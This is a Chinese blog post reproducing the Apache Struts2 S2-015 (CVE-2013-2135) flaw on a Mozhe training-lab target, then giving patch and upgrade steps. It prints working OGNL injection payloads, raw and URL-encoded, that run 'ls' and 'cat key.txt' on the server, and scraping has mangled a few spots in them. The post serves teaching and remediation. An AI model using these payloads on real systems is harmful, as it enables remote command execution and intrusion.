1. 程式人生 > 其它 >Apache Struts2遠端程式碼執行漏洞(S2-015)

Apache Struts2遠端程式碼執行漏洞(S2-015)

Apache Struts2遠端程式碼執行漏洞(S2-015)介紹

Apache Struts 2是用於開發JavaEE Web應用程式的開源Web應用框架。Apache Struts 2.0.0至2.3.14.2版本中存在遠端命令執行漏洞。遠端攻擊者可藉助帶有‘${}’和‘%{}’序列值(可導致判斷OGNL程式碼兩次)的請求,利用該漏洞執行任意OGNL程式碼。

影響版本:2.0.0至2.3.14.2版本。

CVE編號:CVE-2013-2135

Apache Struts2遠端程式碼執行漏洞(S2-015)復現

原本說自己搭建一個環境演示一下漏洞,後來想起來墨者學院(https://www.mozhe.cn/)裡面有一些漏洞靶場環境,找了找還真的有(~ ̄▽ ̄)~。

開啟靶機:

雖然我們知道這是含有Apache Struts2遠端程式碼執行漏洞(S2-015)的靶機,不過我們還是按照正常步驟來測試一下,我用的是Struts2-Scan掃描工具,在此附上下載連結和使用方法(https://github.com/HatBoy/Struts2-Scan)。

注意:使用時要求 Python3.6.X及其以上版本。

執行:

開始掃描:

發現存在S2-012,S2-046,S2-015漏洞。我在網上看到不少在這裡就轉到了利用S2-46漏洞直接接行了命令執行或shell上傳,說好的S2-015漏洞呢!!就像下面這樣。直接就可以找到key:

在這裡我們通過寫入exp的方式利用S2-015漏洞。

${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

當然,要經過url編碼才能使用:

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

上圖我們發現存在key.txt檔案,讀取他就可以了,輸入:

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

這樣,key就出來了。當然我們的目的並不是得到key,只是要復現一下S2-015漏洞,體現一下這個漏洞的危害,下面我講述一下如何修復這個漏洞。
Apache Struts2遠端程式碼執行漏洞(S2-015)修復

Apache Struts2遠端程式碼執行漏洞(S2-015)修復

注意

更新Struts版本可能出現相容性問題,導致業務無法正常執行。
需要重啟Tomcat
升級前,建議備份舊版Struts專案目錄

修復流程

確定Struts版本 > 下載新版Struts庫並校驗SHA256 > 備份Struts庫 > 刪除舊版Struts庫 > 替換 新版Struts庫 > 驗證修復結果 > 完成

步驟一:確定Struts版本

先確定Struts應用根路徑(下面簡寫為root_dir),如:D:\apache-tomcat-7.0.103\webapps\struts2-showcase,然後找到root_dir\WEB-INF\lib\struts2-core-x.x.x.jar,其中x.x.x 即為版本號。如圖:Struts版本為2.3.37:

步驟二:下載新版Struts庫並校驗SHA256

原本2.3以下版本的使用者請下載2.3.37或以上的包,原本2.5以上版本的使用者請下載2.5.22或以上的包。(注意:通過以下連結下載Struts庫需要到外網,無法下載的使用者可前往官網下載最新版: https://struts.apache.org/download.cgi)

下載連結如下:
2.3.37版本:
https://archive.apache.org/dist/struts/2.3.37/struts-2.3.37-min-lib.zip
2.5.22版本:
https://archive.apache.org/dist/struts/2.5.22/struts-2.5.22-min-lib.zip

開啟cmd命令提示符,執行命令,得到檔案SHA256。certutil -hashfile 檔案路徑 SHA256

例如:certutil -hashfile D:\sain\struts-2.3.37.min-lib.zip SHA256

如果得到的SHA256與下面的SHA256值一致,則下載正確

2.3.37 版本:22f09a1c4cdb760fa13f3e36a84f53682201924f63c65d265ec42ea6dc5e5f53

2.5.22 版本:8da7f12b3525abb0f074b95c90e447b590166ba6baefba776b01584562d07148

步驟三:備份舊版Struts庫

備份root_dir\WEB-INF\lib目錄

步驟四:刪除舊版Struts庫

2.3.x及以下版本需要刪除的包如下:(不存在的就忽略)

commons-fileupload-xxx.jar

commons-io-xx.jar

commons-lang3-xx.jar(注意是commons-lang3而不是commons-lang)

commons-logging-xxx.jar

freemarker-xxx.jar

javassist-xxx.GA.jar

ognl-xxx.jar

struts2-core-xxx.jar

xwork-core-xxx.jar或xwork-xxx.jar??

2.5.x需要刪除的包如下:(不存在的就忽略)

commons-fileupload-xxx.jar

commons-io-xx.jar

commons-lang3-xx.jar(注意是commons-lang3而不是commons-lang)

freemarker-xxx.jar或freemarker-xxx-incubating.jar??

javassist-xxx-GA.jar

log4j-api-xxx.jar

ognl-xxx.jar

struts2-core-xxx.jar

步驟五:替換新版Struts庫

將新包中lib目錄的jar包,複製到Struts專案的lib目錄中(即D:\apache-tomcat- 7.0.103\webapps\struts2-showcase\WEB-INF\lib)

步驟六:重啟Tomcat

修復完成,請檢查所有業務是否正常!

Apache Struts2遠端程式碼執行漏洞(S2-015)防護

因為更新需要重啟Tomcat,對於正在進行業務的伺服器來說是不方便的,所以如果在邊界配有防火牆,可以配置相應的策略進行封堵。